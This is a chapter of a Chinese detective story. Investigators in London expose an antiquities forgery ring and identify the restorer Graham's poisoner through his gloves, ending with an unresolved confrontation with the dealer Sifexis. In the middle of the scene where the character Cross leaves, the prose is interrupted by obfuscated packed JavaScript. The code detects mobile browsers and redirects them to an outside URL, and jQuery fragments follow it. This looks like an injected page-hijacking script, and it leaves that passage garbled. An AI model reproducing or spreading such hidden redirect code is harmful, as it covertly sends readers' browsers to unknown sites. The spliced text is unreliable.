翌日清晨,格雷厄姆工作室的门被苏格兰场的警员强行打开。
一股独特的气味扑面而来。
工作室宽敞却杂乱,靠墙立着高大的多层工作台,上面摆满了各种叫不出名字的工具……角落里堆着待修复的陶器碎片和青铜器,另一边的架子上则陈列着已完成的作品,金属碎屑和矿物粉末在从高窗射入的光线下微微闪烁。
另一边是化学台,许多贴着手写标签的瓶瓶罐罐。空气里的特殊气味多半来源于此。
我走过去,看到简正用一个镊子轻轻拨开一堆天鹅绒衬布。
衬布下露出几块颜色、质地各异的石头碎块,旁边还有几个小瓷碟,里面残留着不同颜色的粉末,红得像干涸的血,蓝如深邃的夜空,绿似陈年的铜锈。
“这是…颜料?”我猜测道。
简没有立刻回答,而是用镊子小心地沾取了一点,放在鼻尖前(有一段距离的),用另一只手轻微扇动。
“不…做旧仿锈,包浆用的。”简的面上透着了然。
“你是说…造假?”卡特先生的说法一下出现在了我的脑海。
简没有回答。
她走到陈列架前。
上面的物件都被精心修复过,一件阿努比斯雕像,青铜底座泛着新擦亮的金光;几枚金币排列在丝绒垫上,图案清晰,几乎看不出损伤。
太过完美了。
她拿起一枚金币,指腹摩挲着边缘。手感过于光滑均匀,几乎不像历经千年的磨损。
她的指尖在金币侧面一道极细微的接缝处停顿了一下。
“怀特警官,”她忽然开口,“能请一位金银匠过来吗?最好精通古物复制。”
怀特愣了一下,但还是挥手让下属去办。
等待的时间里,简继续审视着工作室。
……
“这是?”
我注意到工作台下有一个不起眼的矮柜,柜门锁着。
怀特警官直接让人撬开。
里面不是毒药,而是几本厚厚的账簿,以及一些往来信件的副本。
账簿记录着一些模糊的收支,代号式的条目,但数额巨大。
信件则多是西弗西斯和兰开斯特的笔迹,讨论着某些“特殊订单”的交付时间和“工艺要求”。
其中一页,西弗西斯潦草的字迹写道:“……卢西恩,这次的金币成色必须完美,那位美国买家很挑剔,他要的是能通过任何检验的‘真品’……至于那圣甲虫,兰开斯特已打点好……”
金银匠很快到了。是位老师傅,眼神锐利,手指粗糙。
简将那枚金币递给他。老师傅掏出放大镜,仔细看了片刻,又用指尖轻轻敲击,放在耳边细听。
然后他摇了摇头。
“小姐,这手艺是顶好的,几乎以假乱真。”他顿了顿,“但是不对…含金量不对,重量略轻,边缘的磨损是做旧的,仔细看能看出工具痕迹。里面……听声音,怕是空心的。”
他将金币递还,语气肯定,“这是近年的高仿,而且是在原币基础上翻模重铸的。做这个的人,是个高手,但没安好心。”
工作室里一片寂静。
所有的线索似乎都串联了起来。
那些化学品,那些粉末,那些信件和账簿,还有这枚几乎完美的假金币。
卢西恩·格雷厄姆先生,与西弗西斯先生,还有兰开斯特先生三人,可能同处于一个造假团伙。
调查似乎陷入了僵局,却又隐隐指向某个方向。
这个发现令人心惊。
若造假属实,那么围绕圣甲虫的死亡,其动机便远非简单的诅咒或争执所能概括。
“怀特警探,”简的声音打破了工作室内的沉寂,“看来我们需要重新调查几位之间的关系和动机了。”
怀特警探面色凝重,挥手让警员将账簿和信件小心收做证物。
“造假,谋杀……这案子比看起来复杂得多。我立刻加派人手,盯紧西弗西斯和兰开斯特。”
“或许不止他们。”简的目光扫过那些化学粉末和仿造工具,“知道格雷厄姆手艺,或者利益名誉可能会受其影响的,还有几位。”
我们再次拜访了科尔夫人。
这一次,她的灵媒宅邸显得更为阴冷,空气中浓郁的熏香几乎令人窒息。
听闻格雷厄姆可能参与造假,科尔夫人先是震惊,随即爆发出近乎狂热的愤怒。
“虚假!充斥虚假的能量!”她尖声道,“我早该察觉!他为我净化过的几件小玩意儿,上面的灵光如此浮夸虚假!原来只是化学药剂和拙劣模仿!”
“亵渎!这是对古老能量的彻底亵渎!”她尖声道,手指上的戒指因激动而碰撞作响,“格雷厄姆……他玷污了神圣的工艺!他必然触怒了真正的守护灵!”
她声称自己数天前得到暗示,可以花高价得到那珍贵的圣甲虫,却因格雷厄姆态度轻浮而作罢。
“现在想来,他定是想用他那双沾满铜臭和谎言的手仿造一件!幸好!幸好我没答应!”
她的话真假难辨,那愤慨中似乎掺杂着未能得偿所愿的嫉恨。
接着是卡特先生。在他的公寓里,听到格雷厄姆可能造假的消息,他脸上露出一种“果然如此”的讥讽和厌恶。
“我早就说过!他那双手,根本不配触碰真正的历史!”他激动地在堆满杂物的房间里踱步,“你们知道吗?他曾想‘修复’我最早发现的一批陶器碎片……被我严词拒绝!我宁愿它们保持破碎的真实,也不要被完美地伪造!还有圣甲虫…哦!!怎么也不应该落不到外面那些该死的人手里!”
他暗示西弗西斯和格雷厄姆曾试图说服他交出一些关键文物用于“研究”,甚至提出高价购买,被他斥为抢劫。
还有圣甲虫,他说出了圣甲虫出现在西弗西斯先生手里的原因。
卡特先生的脸因愤怒和痛苦而扭曲,他猛地从一堆散落的纸页下抽出一本皮质封面的旧笔记,粗暴地翻到某一页,指着一张潦草的素描和几行笔记。
那素描勾勒的,正是那枚“缄默的圣甲虫”,线条精准,细节分明,甚至连翅膀内侧不易察觉的纹路都有标注。
“看!这是我在图坦卡蒙墓附近一次非正式勘探时画的!当时它嵌在一处残破墓穴的砖石缝里,几乎被沙土掩埋!”
卡特的声音颤抖着,充满了懊悔与不甘,“我当时人手不足,设备简陋,无法进行妥善挖掘……我只取了些周边样本,做了记录,打算回去申请正式许可和资金……”
他重重合上笔记,眼神锐利地看向我们。
“我信任了错误的人!西弗西斯,那时他还在伪装成一个热心的、有门路的赞助人!他表示愿意提供资金和支持,换取共同探索的机会。我……我一时糊涂,向他透露了初步的发现,包括这枚圣甲虫的草图和一些描述……”
卡特深吸一口气,仿佛接下来的话语不断地刺痛他的心。
“结果呢?不到两个月,他就‘偶然’地在开罗的古物市场上‘发现’了它,并凭借其卓越的眼力和雄厚的财力迅速将其收入囊中!他对外宣称是从一个急需用钱的沙漠部落长老手中购得,手续齐全!”
他的手指紧紧攥着笔记,无比愤怒。
“世上哪有如此巧合的事?!唯一的解释就是,他派人抢在我之前,粗暴地把它挖了出来,并伪造了来源!而格雷厄姆……哼,他负责让它变得光彩照人,符合西弗西斯编造的故事!”
卡特的指控掷地有声,听起来并非空穴来风。
“所以你恨他们。”简平静地陈述。
“恨?”卡特冷笑一声,笑声干涩而苦涩,“我鄙视他们!他们玷污了考古学的精神,将历史变成了商品!格雷厄姆的死?或许是报应,或许是分赃不均……谁知道呢?但他们那个小圈子里,没有无辜者!”
……
离开卡特压抑的公寓,我们紧接着拜访了莫里斯博士所在的大学办公室。
博士听到格雷厄姆可能造假的消息时,猛地站起身,打翻了一杯咖啡也浑然不觉。
“这……这不可能……那件银盘……”他喃喃自语,踉跄着走到一个上锁的玻璃柜前,里面正陈列着那件他提及的拜占庭银盘。银盘光泽柔和,图案精美,看不出丝毫瑕疵。
“我毕生的声誉……我的研究都建立在它的真实性上……”他颤抖着掏出钥匙,打开柜门,小心翼翼地取出银盘,戴上眼镜仔细察看,越看脸色越是苍白,“如果……如果这是假的……我的几篇论文……天啊……”
恐慌迅速转化为被羞辱的愤怒。“格雷厄姆!他怎么敢!西弗西斯一定也脱不了干系!他们联手愚弄了整个学术界!”此刻,对学术声誉的担忧似乎暂时压倒了对谋杀案的恐惧。
而当我们找到美国大亨特拉尔时,他正在豪华酒店套房里享受着午餐,对格雷厄姆的死和造假传闻显得毫不在意,甚至更加兴奋。
“造假?哇哦!更刺激了!所以那圣甲虫也可能是假的?那我更要买了!真的死的,假的活的,都有意思!”他挥舞着餐刀,语气轻佻,“告诉我,侦探小姐,如果那是格雷厄姆仿造的杰作,是不是也算一种艺术品?值多少钱?”
他对于谋杀的冷漠态度令人不适,仿佛在谈论一场与他无关的戏剧。
他甚至直言,无论真假,只要故事够精彩,他都有兴趣“收藏”,包括“导致死亡的毒药圣甲虫”这个概念本身。
线索纷乱杂陈,似乎每个人都有动机,或为利益,或为名誉,或出于某种扭曲的“正义感”。
夜色再次降临,我和简回到事务所,整理着目前的发现。
“毒药来自埃及,熟悉圣甲虫,熟悉格雷厄姆的习惯,有机会接触并下毒……”我梳理着,“范围似乎缩小了,但又好像每个人都沾点边。”
简靠在椅背上,指尖轻叩那份名单,“下毒需要机会。圣甲虫本身无毒,毒是如何精准地只让格雷厄姆接触到的?”
她闭上眼,回忆着晚会的每一个细节:“埃利斯,那个男仆……兰开斯特的咳嗽和手帕……格雷厄姆那异常苍白的脸色,还有粗暴的动作……还有他始终戴着的手套……”
忽然,她坐直了身体,眼睛睁开,闪过一丝锐光。
“弗瑞,格雷厄姆有严重的皮肤敏感症。他戴手套不是为了保护古董,而是为了保护自己。他的手本身就有问题,可能极易吸收异物。而毒药,如果是极细的粉末,未必需要他吞食或者注射……”
就在这时,事务所的门被轻轻敲响了。
那位穿着深灰色西装、身姿挺拔的先生,(现在我们都已经知道这张脸后面是克罗斯了)仿佛只是路过般闲适地走了进来,脸上依旧挂着那抹与周遭格格不入的、略带讥讽的微笑。
“晚上好,忙碌的侦探们。”他自顾自地拉过一张椅子坐下,动作优雅自然,“听说你们的调查遇到了瓶颈?或者说,陷入了人人有嫌疑,却又难以定论的尴尬境地?”
“克罗斯,”简的声音带着警告的意味,“这里不欢迎你。”
“我也可以随时出去。”他撑着手说。
简的似乎有些无奈,“这里没你的事。”
“别那么严肃,里斯克。我只是个好奇的旁观者,来提供一点……微不足道的视角。”
克罗斯轻笑一声,目光饶有兴致地扫过我和简,灰蓝色的眼睛里闪烁着洞悉一切的光芒,“大家似乎都在激烈地争论真假,争论所有权,争论谁更正义,谁的手艺更高明……”
他夸张地摊开双手,语气陡然变得轻佻而尖锐,像一把冰冷的匕首,精准地剥开了所有冠冕堂皇的借口。
“但说来说去,西弗西斯巧取豪夺,格雷厄姆伪造篡改,兰开斯特销赃牟利,卡特隐瞒发现并间接引狼入室,科尔故弄玄虚想趁机捞取‘灵物’,特拉尔只想满足猎奇收藏欲,莫里斯可能因轻信而学术声誉扫地……哈哈哈哈哈”
他笑出了声,那笑声在安静的办公室里显得格外清晰刺耳。
他环视着我们,一字一句,清晰地说道:
“瞧瞧,大家不都是小偷吗?偷取宝物,偷取真相,偷取名誉,偷取金钱……只不过,每个人偷的东西不同,方式各异罢了。谁又比谁更高贵呢?”
“说是这么说,你怎么知道的?你明明没有……”我忍不住问。
“我就是知道,还有,谁说我没有参与你们今天的调查?我可从没有被叫警官呢?哈哈!”
克罗斯站起身,优雅地整理了一下并不存在的袖口褶皱,走向门口。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302915|177843||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“至于那点小小的、致命的毒药……”他在门前停下,侧过半张脸,语气恢复了近乎残酷的平淡,“动机总是复杂难辨,为什么不思考一下手法呢?那位西弗西斯先生,还是那位兰开斯特先生?”
门轻轻关上,他如来时一般悄然离去。
简猛地站起身。
“弗瑞!立刻通知怀特控制住兰开斯特!还有,立刻搜查他的办公室和家,重点寻找他晚会那天使用过的手帕、手套,或者任何可能残留类似毒粉的容器!”
她语速极快,思路清晰。
“克罗斯点破了关键!毒很可能是在格雷厄姆自己的手套上!兰开斯特,那双手套!”
格雷厄姆检查宝物时习惯性摩挲,皮肤敏感症导致毒素更易通过手部皮肤吸收……他死在了自己精心维持的职业伪装之下!
真相仿佛被骤然投入火把的黑暗洞穴,一切都变得清晰可见。
动机、机会、手法……
兰开斯特的财务危机、他与格雷厄姆等人紧密却脆弱的利益联盟、他靠近托盘时那个被埃利斯注意到却不敢言说的可疑动作、他办公室里那副与格雷厄姆相似且边缘沾有细微粉末的手套……
我看向窗外,伦敦的夜色深沉如墨,吞噬着无数的秘密与欲望。
克罗斯的话语仍在耳边回响,冰冷而真实。
在这场围绕贪婪、欺骗与伪饰的漩涡里,的确,没有谁的手是完全干净的。
每个人都在窃取自己渴望的东西,直至引火烧身。
……
对兰开斯特的审讯进行得异常艰难,他像一堵沉默的墙,直到怀特警探将那份记录着他濒临破产的财务报告,以及从格雷厄姆工作室矮柜中搜出的、有他代号的账簿副本,并排放在他面前。
他的防线崩溃了,但不是因为恐惧,而是因为一种精疲力尽的绝望。
他承认了。
动机并非一时的冲动,而是一场缓慢的窒息。
西弗西斯先生是太阳,光芒万丈,吸引着所有的目光与交易,却也无情地蒸干着周围的一切。
格雷厄姆则是被太阳照拂的月亮,凭借自身才能反射着光华,甚至渐渐拥有了自己的轨道。
而他,兰开斯特,是逐渐被遗忘在阴影里的尘埃。
他的价值在于连接,在于处理那些阳光下的“实务”。但当格雷厄姆开始对某些“订单”流露出艺术家的迟疑,并且日复一日增加分成时,当西弗西斯对此表示出越来越明显的不耐时,兰开斯特感到了彻骨的寒冷。
他意识到,一旦这条连接断裂,他将立刻变得毫无价值,被双方同时抛弃。
可他早就被绑定在这条黑暗的航线上,所有的资金流转、人脉网络都为此服务。
杀死格雷厄姆,是他能想到的唯一能重新掌控局面的方式。
用“诅咒”掩盖,能暂时安抚西弗西斯;而混乱中,他或许能拿到那些真正能证明西弗西斯相关的通信记录,那是他未来谈判的筹码。
案子了结,但空气并未变得清新。
几周后,我们意外地收到了西弗西斯先生的邀请,参观他在切尔西一家私人画廊举办的小型鉴赏会。他似乎毫不在意最近的风波,甚至乐于展示他与丑闻的近距离。
画廊里灯光柔和,宾客低声交谈。
西弗西斯先生正在向一小群人展示一件埃及彩陶,他的声音磁性而自信,仿佛不久前死去和入狱的,只是两个无关紧要的名字。
他看见我们,并未回避,反而微笑着走了过来。
“里斯克小姐,弗瑞小姐,”他颔首致意,姿态无可挑剔,“很高兴你们能来。艺术和历史总是很没好,不是吗?”他目光扫过展厅,像是在欣赏自己的王国。
简没有回应。
“我想是的。”我微妙地笑了笑,应付道。
西弗西斯笑了笑,那是一种宽容的、觉得对方很有趣的笑容。
“真相就像古董上的包浆,年代越久,层次越复杂。有些人只看到最光鲜的那一层,就以为是全部。”
他轻轻拿起旁边托盘里的一枚古希腊银币,用手指摩挲着边缘,动作和当日的格雷厄姆有几分诡异地相似。
“兰开斯特先生……他就是太执着于表面了,忽略了器物本身更深沉的价值。可惜。”他放下银币,语气里听不出丝毫可惜。
“而格雷厄姆先生,”他继续道,声音里带上一种真正的惋惜,“他过于追求完美,以至于忘记了,一件藏品之所以能流传于世,往往是因为它有一个……好故事。而故事,有时需要一点恰当的修饰。”
他看向我们,眼神平静,却带着一种不容置疑的意味。
他没有承认任何事,却解释了一切。
他将谋杀归结为兰开斯特的短视,将格雷厄姆的死归结为艺术家的天真。
而他自已,则超然其上,只是一个懂得欣赏“故事”与“价值”的鉴赏家。
“你认为什么样的故事才算恰当?”简问。
“哦,能经得起时间考验的,就是好故事。”
他微微一笑,转身准备离开,去招呼其他客人。走出两步,他又像是忽然想起什么,侧过半张脸。
“顺便一提,”他的语气轻松得像在谈论天气,“那枚引起不少麻烦的圣甲虫……经过权威鉴定,确实是一件难得的真品。虽然过程令人遗憾,但真相大白,总是好的,不是吗?”
他点了点头,优雅地融入人群,留下我们站在原地。
他最后那句话像一把冰冷的匕首。他不仅全身而退,还最终为那圣甲虫赋予了“真品”的认定,洗白了自己最初可能面临的质疑,甚至可能使其价值更高。
我们走出画廊,伦敦的黄昏灰蒙蒙的。
“他赢了,是吗?”我忍不住问。
简沉默了片刻,看着街上匆匆的行人。
“他没有赢,弗瑞。”她说,“他只是从不下注。兰开斯特赌上了一切,格雷厄姆赌上了性命。而他,只是提供了赌场和筹码。”她拉紧了大衣,“只要还有人渴望他的赌场和筹码,游戏就永远不会结束。”
真相水落石出,凶手绳之以法。
但最大的那只圣甲虫,依旧在它的高处,闪烁着冰冷而神秘的光,缄默地守护着所有秘密。